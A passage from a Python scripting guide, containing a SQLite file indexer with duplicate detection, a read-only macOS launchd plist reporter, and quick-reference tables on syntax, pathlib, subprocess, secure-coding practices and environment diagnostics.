        conn.execute(
            "INSERT INTO files (path, size, mtime, digest) "
            "VALUES (:path, :size, :mtime, :digest) "
            "ON CONFLICT(path) DO UPDATE SET "
            "  size = :size, mtime = :mtime, digest = :digest, "
            "  seen_at = datetime('now')",
            {"path": key, "size": st.st_size,
             "mtime": st.st_mtime, "digest": digest},
        )

    return scanned, hashed


def duplicates(conn: sqlite3.Connection) -> None:
    rows = conn.execute(
        "SELECT digest, COUNT(*) AS n, SUM(size) AS total "
        "FROM files GROUP BY digest HAVING n > 1 "
        "ORDER BY total DESC LIMIT 20"
    ).fetchall()

    if not rows:
        print("no duplicates")
        return

    for row in rows:
        wasted = row["total"] - (row["total"] // row["n"])
        print(f"\n{row['n']}x  {wasted:,} bytes wasted  [{row['digest'][:12]}]")
        for f in conn.execute(
            "SELECT path FROM files WHERE digest = ?", (row["digest"],)
        ):
            print(f"    {f['path']}")


def main() -> int:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("directory", type=Path)
    parser.add_argument("--db", type=Path, default=Path("fileindex.db"))
    parser.add_argument("--duplicates", action="store_true")
    parser.add_argument("-v", "--verbose", action="store_true")
    args = parser.parse_args()

    logging.basicConfig(
```

```
        level=logging.DEBUG if args.verbose else logging.INFO,
        format="%(levelname)s: %(message)s",
        stream=sys.stderr,
    )

    root = args.directory.expanduser().resolve()
    if not root.is_dir():
        logger.error("not a directory: %s", root)
        return 2

    with open_db(args.db) as conn:
        scanned, hashed = index(conn, root)
        logger.info("scanned %d, hashed %d", scanned, hashed)
        if args.duplicates:
            duplicates(conn)

    return 0


if __name__ == "__main__":
    raise SystemExit(main())
```

Run. `python3 fileindex.py ~/Documents --db idx.db` then re-run with `--duplicates`

Footguns. The `size + mtime` shortcut makes the second run fast, but mtime can be forged and has 1-second granularity on some filesystems — a file modified twice in one second with the same size will be missed. That's an acceptable tradeoff for an index; it is **not** acceptable for a security control. Deleted files are never removed from the table — add a sweep. And `ON CONFLICT ... DO UPDATE` is SQLite's upsert (3.24+); older versions need `INSERT OR REPLACE`, which resets the whole row.

Upgrades. `--prune` to drop rows whose paths no longer exist. Store the `seen_at` of the previous run and report deletions. Front the whole thing with `rg --files` (§12) instead of `rglob` for a large tree.

27.5 5 — macOS plist reporter

Goal. Enumerate the LaunchAgents and LaunchDaemons on the system, parse each plist, and report what runs, when, and as what.

Concepts. §22 macOS/plistlib · §6 pathlib · §7 exceptions · §14 dataclass

plistreport.py — macOS only

```
#!/usr/bin/env python3
"""Report every LaunchAgent/LaunchDaemon plist and what it executes. macOS only."""

import argparse
import plistlib
import sys
from dataclasses import dataclass
from pathlib import Path

SEARCH_PATHS = [
    Path.home() / "Library" / "LaunchAgents",
    Path("/Library/LaunchAgents"),
    Path("/Library/LaunchDaemons"),
    # /System/Library/* is Apple's and is SIP-protected. Read-only, and noisy.
]
```

```
@dataclass(frozen=True, slots=True)
class Job:
    source: Path
    label: str
    program: str
    run_at_load: bool
    interval: str
    keep_alive: bool


def describe_schedule(data: dict) -> str:
    if "StartInterval" in data:
        return f"every {data['StartInterval']}s"
    cal = data.get("StartCalendarInterval")
    if isinstance(cal, dict):
        h = cal.get("Hour", "*")
        m = cal.get("Minute", "*")
        return f"at {h:0>2}:{m:0>2}" if isinstance(h, int) else f"cal({cal})"
    if isinstance(cal, list):
        return f"{len(cal)} calendar entries"
    if data.get("WatchPaths"):
        return "on path change"
    return "-"


def parse(path: Path) -> Job | None:
    try:
        with path.open("rb") as fh:                # binary mode, mandatory
            data = plistlib.load(fh)
    except (plistlib.InvalidFileException, PermissionError, OSError) as exc:
        print(f"warn: {path.name}: {exc}", file=sys.stderr)
        return None

    if not isinstance(data, dict):
        return None

    # A job specifies EITHER Program OR ProgramArguments. Handle both.
    argv = data.get("ProgramArguments")
    if isinstance(argv, list) and argv:
        program = " ".join(str(a) for a in argv)
    else:
        program = str(data.get("Program", "?"))

    return Job(
        source=path,
        label=str(data.get("Label", path.stem)),
        program=program,
        run_at_load=bool(data.get("RunAtLoad", False)),
        interval=describe_schedule(data),
        keep_alive=bool(data.get("KeepAlive", False)),
    )


def main() -> int:
    if sys.platform != "darwin":
        print("this script is macOS-only", file=sys.stderr)
```

```
        return 1

    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("--third-party", action="store_true",
                        help="Hide jobs whose label starts with com.apple.")
    args = parser.parse_args()

    jobs: list[Job] = []
    for directory in SEARCH_PATHS:
        if not directory.is_dir():
            continue
        for path in sorted(directory.glob("*.plist")):
            job = parse(path)
            if job is None:
                continue
            if args.third_party and job.label.startswith("com.apple."):
                continue
            jobs.append(job)

    if not jobs:
        print("no jobs found")
        return 0

    for job in jobs:
        flags = []
        if job.run_at_load:
            flags.append("at-load")
        if job.keep_alive:
            flags.append("keep-alive")

        print(f"\n{job.label}")
        print(f"  source   {job.source}")
        print(f"  runs     {job.program[:100]}")
        print(f"  schedule {job.interval}")
        if flags:
            print(f"  flags    {', '.join(flags)}")

    print(f"\n{len(jobs)} job(s)", file=sys.stderr)
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
```

Run. `python3 plistreport.py --third-party`

Footguns. `/Library/LaunchDaemons` may need elevated read on some entries — hence the `PermissionError` catch that warns and continues rather than aborting. `plistlib` reads binary and XML plists transparently; you do not need `plutil -convert` first. And a plist being **present** does not mean it is **loaded** — cross-check against `launchctl list`.

Upgrades. Shell out to `launchctl print` (§12) to get real load state and last exit code. Flag jobs whose `Program` path does not exist, or is world-writable — both are classic persistence footholds. Emit JSON and diff two snapshots.

028 Appendix: quick reference

28.1 A. Syntax

Construct	Form
Function	`def f(a: int, *, b: str = "x") -> bool:`
Keyword-only	Everything after a bare `*` in the signature
Lambda	`key=lambda p: p.stat().st_size`
Conditional expr	`value = a if cond else b`
Walrus	`while chunk := fh.read(8192):`
Unpack	`first, *rest = items` · `a, b = b, a`
F-string	`f"{x:.2f}"` · `f"{x:,}"` · `f"{x:>10}"` · `f"{x=}"`
Ternary chain	Don't. Use a dict or `match`.
`match`	3.10+. `match cmd: case "scan": ... case _: ...`
Context manager	`with path.open() as fh:`
Multiple CM	`with a() as x, b() as y:`
Decorator	`@cache` · `@dataclass` · `@contextmanager`
Generator	`yield x` · `yield from iterable`
Class	`class Foo:` · `def __init__(self) -> None:`
Slice	`x[1:4]` · `x[::2]` · `x[::-1]` · `x[-3:]`
Chained compare	`0 <= x < 10`
Global/nonlocal	`global x` (module) · `nonlocal x` (enclosing fn)

28.2 B. Collections

Op	list	Op	dict
add	`.append(x)` · `.extend(xs)` · `.insert(i, x)`	add	`d[k] = v` · `.update(other)` · `d | other`
remove	`.pop()` · `.pop(i)` · `.remove(x)` · `del x[i]`	remove	`.pop(k, default)` · `del d[k]`
read	`x[0]` · `x[-1]` · `x[a:b]`	read	`d[k]` (raises) · `.get(k, default)`
test	`x in xs` (O(n))	test	`k in d` (O(1))
iterate	`for x in xs` · `enumerate(xs, 1)`	iterate	`.items()` · `.keys()` · `.values()`
sort	`.sort(key=…)` in place · `sorted(xs)` copy	sort	`sorted(d.items(), key=itemgetter(1))`
build	`[f(x) for x in xs if p(x)]`	build	`{k: f(v) for k, v in d.items()}`

Set op	Meaning

`a | b`	Union
`a & b`	Intersection
`a - b`	Difference — **in `a`, not in `b`**
`a ^ b`	Symmetric difference
`a <= b`	`a` is a subset of `b`
`set(xs)`	Dedup. Order is lost.
`list(dict.fromkeys(xs))`	Dedup, order preserved.

28.3 C. pathlib

Task	Call
Build	`Path.home() / ".config" / "app.toml"`
Script's own dir	`Path(__file__).resolve().parent`
Expand `~`	`Path(raw).expanduser()` — **not** automatic
Absolutize + de-symlink	`.resolve()`
Containment check	`child.is_relative_to(parent)` — not `str.startswith`
Exists / type	`.exists()` · `.is_file()` · `.is_dir()` · `.is_symlink()`
Name parts	`.name` · `.stem` · `.suffix` · `.parent`
Change extension	`.with_suffix(".json")` · `.with_name("x.txt")`
Read	`.read_text(encoding="utf-8")` · `.read_bytes()`
Write	`.write_text(s, encoding="utf-8")` · `.write_bytes(b)`
Append	`with p.open("a", encoding="utf-8") as fh:`
Stream lines	`with p.open() as fh: for line in fh:`
Make dirs	`.mkdir(parents=True, exist_ok=True)`
Delete file	`.unlink(missing_ok=True)`
Delete tree	`shutil.rmtree(p)` — no undo
Atomic overwrite	`tmp.replace(dst)` — same filesystem only
List	`.iterdir()` · `.glob("*.log")` · `.rglob("*.log")`
Size / mtime	`.stat().st_size` · `.stat().st_mtime`
Permissions	`.chmod(0o600)`
Find a binary	`shutil.which("rg")` → `Path` or `None`

28.4 D. Exceptions

Pattern	Code
Catch narrowly	`except FileNotFoundError:`
Multiple	`except (ValueError, TypeError) as exc:`

Add context, keep the cause	`raise ConfigError(msg) from exc`
Suppress the cause	`raise ValueError(msg) from None`
Re-raise unchanged	`raise` (bare, inside `except`)
Log with traceback	`logger.exception("...")` — `except` block only
Clean up always	`finally:`
Only on success	`else:` (after all `except` clauses)
Deliberately ignore	`with contextlib.suppress(FileNotFoundError):` — use sparingly
Exit with status	`raise SystemExit(2)`
Never	`except:` · `except Exception: pass`

28.5 E. argparse

Need	Line
Required positional	`add_argument("path", type=Path)`
Many positionals	`add_argument("paths", nargs="+", type=Path)`
Optional w/ default	`add_argument("--ext", default=".txt")`
Flag	`add_argument("--force", action="store_true")`
Flag + negation	`action=argparse.BooleanOptionalAction`
Enumeration	`choices=("plain", "json")`
Typed	`type=int` · `type=Path` · `type=my_validator`
Repeatable	`action="append"`
Counter	`action="count"` → `-vvv` == 3
Custom error	`raise argparse.ArgumentTypeError(msg)` from `type=`
Subcommands	`sub = parser.add_subparsers(dest="cmd", required=True)`
Dispatch	`p.set_defaults(func=cmd_scan)` → `args.func(args)`
Testable	`parse_args(argv)` + `main(argv=None)`
Show default in help	`help="... (default: %(default)s)"`

28.6 F. logging

Need	Line
Module logger	`logger = logging.getLogger(__name__)`
Configure once	`logging.basicConfig(level=…, format=…, stream=sys.stderr)`
Lazy format	`logger.info("scanned %d in %s", n, path)`
With traceback	`logger.exception("failed")`
Levels	`DEBUG` 10 · `INFO` 20 · `WARNING` 30 · `ERROR` 40 · `CRITICAL` 50
To a file	`logging.FileHandler(path, encoding="utf-8")`

Per-subsystem level	`logging.getLogger("mytool.http").setLevel(DEBUG)`
Silence a noisy dep	`logging.getLogger("urllib3").setLevel(WARNING)`
Rule	Diagnostics → `logging` → stderr. Output → `print` → stdout.

28.7 G. subprocess

Rule	Code
The safe call	`subprocess.run([prog, arg], text=True, capture_output=True, check=True, timeout=30)`
Program exists?	`shutil.which("rg") is None`
End-of-options guard	`[..., "--", user_value, str(path)]`
Read the failure	`except CalledProcessError as e: e.returncode, e.stderr`
Timeout	`except subprocess.TimeoutExpired:`
Working directory	`cwd=path` — not `os.chdir()`
Environment	`env = os.environ.copy(); env["X"] = "1"` — never a bare dict
Send stdin	`input="data"`
Discard output	`stdout=subprocess.DEVNULL`
Stream a long job	`Popen(..., stdout=PIPE, text=True, bufsize=1)` + iterate
Never	`shell=True` with anything interpolated · `os.system()`

28.8 H. JSON / CSV

Task	Code
Parse	`json.loads(path.read_text(encoding="utf-8"))`
Emit (diffable)	`json.dumps(d, indent=2, sort_keys=True)`
Emit (compact)	`json.dumps(d, separators=(",", ":"))`
Non-ASCII intact	`ensure_ascii=False`
Serialize `Path` / `datetime`	`default=str`
Read CSV	`csv.DictReader(fh)` — `open(..., newline="")`
Write CSV	`csv.DictWriter(fh, fieldnames=[...])` + `.writeheader()`
Read TOML	`tomllib.load(fh)` — binary mode, 3.11+, read-only
Env var	`os.environ["X"]` (required) · `.get("X", d)` (optional)
Env bool	`os.environ.get("D", "").lower() in {"1","true","yes"}`
Never	`line.split(",")` for CSV · `bool(os.environ.get("X"))`

28.9 I. Virtual environments

Task	Command
Create	`python3 -m venv .venv`

Activate	`source .venv/bin/activate` (fish: `.fish`, Windows: `.venv\\Scripts\\activate`)
Deactivate	`deactivate`
Install	`python -m pip install requests`
Install from lock	`python -m pip install -r requirements.txt`
Editable + extras	`python -m pip install -e ".[dev]"`
Freeze	`python -m pip freeze > requirements.txt`
Which python?	`python -c "import sys; print(sys.executable)"`
In a venv?	`echo "$VIRTUAL_ENV"`
Audit	`pip-audit`
Never	`sudo pip install` · bare `pip` · commit `.venv/`

28.10 J. Security

Never	Instead
Hardcoded secret	`os.environ["TOKEN"]` · keychain · `0600` file
`eval()` / `exec()`	`ast.literal_eval()` · `json.loads()`
`pickle.load()` (untrusted)	`json` · HMAC-sign it
`yaml.load()`	`yaml.safe_load()`
`shell=True` + interpolation	argv list, `shell=False`
`verify=False`	Fix the CA bundle
`str.startswith()` for containment	`Path.is_relative_to()` after `.resolve()`
`assert` for validation	`if not x: raise` (`-O` strips asserts)
`random` for tokens	`secrets.token_urlsafe(32)`
MD5 / SHA-1	`sha256`; passwords → `argon2` / `bcrypt` / `scrypt`
`==` on secrets	`hmac.compare_digest()`
`tempfile.mktemp()`	`NamedTemporaryFile` / `mkstemp`
`os.system()`	`subprocess.run([...])`
Logging a token	Log its **length** and last 4 chars, if anything
Unpinned deps in CI	Pin with `==`; run `pip-audit`
`requests` with no timeout	`timeout=(3.05, 30)` — always

28.11 K. Tooling

Task	Command
Lint	`ruff check .`
Autofix	`ruff check --fix .`
Format	`ruff format .` (or `black .`)

Type check	`mypy src/`
Test	`pytest` · `pytest -x` · `pytest -k name` · `pytest --lf`
Coverage	`pytest --cov=src`
Profile	`python3 -m cProfile -s cumtime script.py`
Syntax only	`python3 -m py_compile script.py`
Run, then REPL	`python3 -i script.py`
Warnings as errors	`python3 -W error script.py`
Import timing	`python3 -X importtime script.py`
Run a module	`python3 -m my_tool.cli --help`
Ad-hoc HTTP server	`python3 -m http.server 8000`
Pretty-print JSON	`python3 -m json.tool < in.json`
Git hooks	`pre-commit install` · `pre-commit run --all-files`

28.12 L. Diagnosis one-liners

```
which -a python3
python3 -c "import sys; print(sys.executable)"        # THE running interpreter
python3 -c "import sys; print(sys.prefix)"            # venv root, or system
python3 -c "import sys; print('\n'.join(sys.path))"   # import search path
python3 -c "import requests; print(requests.__file__)"# where a module came from
python3 -m pip --version                              # pip, and its interpreter
echo "$VIRTUAL_ENV"                                   # empty = no venv active
python3 -m site                                       # site-packages locations
```

NOTE

If a Python problem is not a **logic** bug, it is almost always one of four things: the wrong interpreter, the wrong `site-packages`, a shadowed module name, or a missing environment variable under a scheduler. The eight commands above distinguish all four in under a minute. Run them before you theorize.